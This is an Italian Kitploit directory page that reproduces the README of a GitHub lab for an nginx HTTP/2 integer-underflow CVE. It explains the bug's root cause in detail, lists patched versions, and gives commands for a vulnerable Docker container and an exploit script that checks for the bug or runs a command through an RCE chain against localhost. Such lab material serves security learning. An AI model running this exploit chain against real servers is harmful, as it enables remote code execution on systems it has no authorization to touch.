Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/akarkode/nginx-http2-cve-2026-123007-lab
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebApprendimento e FormazioneStrumento di Accesso RemotoSviluppo Payload
Condividi
Lab e Pratica
GitHubakarkode/nginx-http2-cve-2026-123007-lab

nginx-http2-cve-2026-123007-lab

Lab locale per CVE-2026-123007 (integer underflow in HTTP/2 di nginx): container Docker vulnerabile + proof-of-concept

Vedi Repository
213 giorni faNon ancora revisionato

nginx HTTP/2 Integer Underflow (CVE-2026-123007) — Laboratorio locale

Copertina

Solo per uso didattico. Questo repository è un laboratorio locale e autonomo per imparare come funziona il bug. Non eseguirlo contro sistemi di cui non sei proprietario o per i quali non hai un'autorizzazione scritta ai test.

Un grave bug di controllo di flusso in nginx HTTP/2 può consentire a un client non autenticato di corrompere la memoria del worker e, in condizioni specifiche, di eseguire codice. Questo laboratorio esegue la reale immagine nginx vulnerabile e include un piccolo PoC che dimostra la causa principale sulla tua macchina.

Il resoconto completo — come funziona l'errore di contabilità, perché richiede 128 GB di traffico e cosa ha cambiato la correzione — è in article.md.

Panoramica

VoceDettaglio
CVECVE-2026-123007
TipoInteger underflow (CWE-191)
CVSS v49.2 Critico (AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)
ComponenteControllo di flusso delle risposte HTTP/2 di nginx
ImpattoDivulgazione di memoria, crash del worker, esecuzione di codice come worker nginx
Vettore di attaccoRemoto, non autenticato, singola connessione HTTP/2
Divulgato18 novembre 2026 (Rapid7 / F5)
CreditoStephen Fewer, Rapid7

Perché è vulnerabile

Il controllo di flusso HTTP/2 dà al client il controllo su quanti dati di risposta nginx può inviare. nginx tiene traccia di due contatori: uno per ogni stream e uno per la connessione (h2c->send_window, un size_t senza segno).

  1. Quando un frame DATA di risposta viene messo in coda, nginx sottrae la sua lunghezza da entrambi i contatori.
  2. Se lo stream viene resettato prima che quel frame sia effettivamente inviato, la pulizia restituisce i byte riservati al contatore della connessione — senza verificare il massimo del protocollo di 2^31-1.
  3. Una modifica di SETTINGS_INITIAL_WINDOW_SIZE può chiudere stream con credito eccessivo lasciando viva la connessione, così la finestra della connessione finisce sopra 2^31-1.
  4. Il successivo controllo dei limiti di WINDOW_UPDATE calcola MAX - h2c->send_window. Poiché il contatore è sopra MAX, la sottrazione senza segno va in underflow a un valore enorme, quindi il controllo passa e il client può spingere la finestra verso 2^64.
  5. Successivamente quel valore viene convertito in una lunghezza di risposta off_t con segno. Diventa negativa, nginx crea un buffer di output invertito (last < pos) e il percorso di output TLS passa la lunghezza negativa a memcpy come un enorme size_t. Il risultato è una lettura/scrittura fuori dai limiti: prima divulgazione di dati, poi una sovrascrittura controllata di una callback di pulizia del pool di richieste che può eseguire system() nel worker.

Inviare una richiesta corrotta non è sufficiente da solo. Lo sfruttamento pratico richiede accesso diretto TCP/TLS (così il backpressure funziona), un heap del worker fresco, circa 119 GiB di traffico in chiaro e una build glibc x86-64 il cui memcpy selezionato a runtime usi il percorso EVEX/YMM (avx512f + avx512vl).

Stato della patch

Sono disponibili versioni corrette:

ProdottoVulnerabileCorretto
nginx Open Source1.31.0 – 1.31.81.31.9
nginx Open Source1.9.5 – 1.30.61.30.7
NGINX Plus37.1.0 – 37.2.0.137.3.0.1
NGINX Plus37.0.0 – 37.0.7.137.0.8.1
NGINX PlusR34 – R36Nessuna correzione

Cronologia: Rapid7 ha contattato F5 l'11 novembre 2026; F5 ha confermato il problema e assegnato il CVE; la divulgazione coordinata è avvenuta il 18 novembre 2026. Se esegui nginx con http2 on, aggiorna. Disabilitare HTTP/2 rimuove la superficie di attacco finché non puoi applicare la patch.

Struttura del repository

.
├── docker/
│   ├── Dockerfile          # pinned vulnerable image, nginx 1.31.8
│   ├── docker-compose.yml  # publishes 127.0.0.1:19443
│   ├── entrypoint.sh       # creates a self-signed certificate
│   └── nginx.conf          # TLS + http2 on
├── engine/                 # published RCE chain (Rapid7 PoC, credited below)
│   ├── nginx_rce/          # protocol, heap layout, reclaim, dispatch
│   ├── profiles/           # calibrated nginx 1.31.8 target profile
│   ├── streamer.c          # native bulk-traffic helper
│   └── requirements.txt
├── exploit.py              # entry point: check, crash, or run a command
├── assets/
│   └── underflow.gif       # animated diagram for section 4
├── article.md              # full write-up of the bug and the lab
├── cover.png               # article cover
├── cover.svg               # vector source for the cover
└── README.md

Requisiti

  • Linux x86-64 con Docker e Docker Compose
  • Python 3.10+ e cryptography per l'esecuzione dei comandi: pip install -r engine/requirements.txt
  • Un compilatore C e gli header OpenSSL (gcc, libssl-dev) per compilare engine/streamer
  • Un curl con supporto HTTP/2 (opzionale, per verifiche manuali)

Utilizzo

Avviare il server vulnerabile:

cd docker
docker compose up -d --build

Verifica che stia servendo la pagina standard da 896 byte tramite HTTP/2:

curl -sk --http2 -o /dev/null -w '%{http_version} %{http_code} %{size_download}\n' \
  https://127.0.0.1:19443/index.html

Expected:

2 200 896

Esegui il controllo rapido:

cd ..
python3 exploit.py --target https://127.0.0.1:19443/

Expected output:

[*] target      : https://127.0.0.1:19443/
[*] server      : nginx/1.31.8
[*] index.html  : 896 bytes
[*] tls         : TLSv1.3 alpn=h2
[*] building TLS record boundary: 262144 KeyUpdate records
[+] over-credit  : stream cleanup restored credit above 2^31-1
[+] underflow    : next WINDOW_UPDATE passed the unsigned guard
[+] status       : CVE-2026-123007 confirmed

L'operazione richiede circa 45 secondi e invia solo pochi megabyte. È sicuro ripeterla; riavvia il container tra un tentativo e l'altro se desideri un worker nuovo:

docker restart cve-2026-123007

Cosa dimostra il PoC

  • Il target negozia HTTP/2 su TLS 1.3.
  • Dopo aver esaurito la finestra di connessione di 65.535 byte, il PoC accoda i DATA di risposta e chiude gli stream proprietari con una modifica SETTINGS.
  • nginx reimposta esattamente i due stream sovra-accreditati con FLOW_CONTROL_ERROR (RST_STREAM) invece di terminare la connessione, e la pulizia rimborsa i loro byte riservati, lasciando la finestra di connessione sopra 2^31-1.
  • Il successivo WINDOW_UPDATE viene comunque accettato, e un PING inviato in seguito riceve riscontro. Questo è l'underflow: la protezione MAX - send_window è andata in wrap-around.

Un nginx con patch fallisce questo controllo, perché l'invariante della finestra di connessione viene ripristinata prima che gli stream vengano chiusi. Risultati verificati:

Immagine targetOutput
nginx:1.31.8 (vulnerabile)[+] status : CVE-2026-123007 confirmed
nginx:1.31.9 (corretto)[-] error : over-credited streams were not reset: {}

Eseguire un comando (RCE)

La catena completa di esecuzione dei comandi è inclusa in engine/. Installare una volta i suoi due prerequisiti:

pip install -r engine/requirements.txt
sudo apt install gcc libssl-dev

Riavvia il container in modo che l'heap del worker sia pulito, poi passa --cmd:

docker restart cve-2026-123007
python3 exploit.py --target https://127.0.0.1:19443/ --cmd 'id > /tmp/proof'
docker exec cve-2026-123007 cat /tmp/proof

Expected output:

Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    972
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    666
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    424
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer è una piattaforma open-source di gestione degli accessi privilegiati (PAM) che fornisce ai team DevOps e IT un accesso sicuro e on-demand a endpoint SSH, RDP, Kubernetes, database e RemoteApp tramite un browser web.

    389
  • 5

    SafeLine

    chaitin/safeline

    WAF self-hosted e reverse proxy che filtra il traffico HTTP malevolo, blocca SQL injection, XSS e attacchi bot, con limitazione del tasso e crittografia dinamica HTML/JS.

    337
  • 6

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    331

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →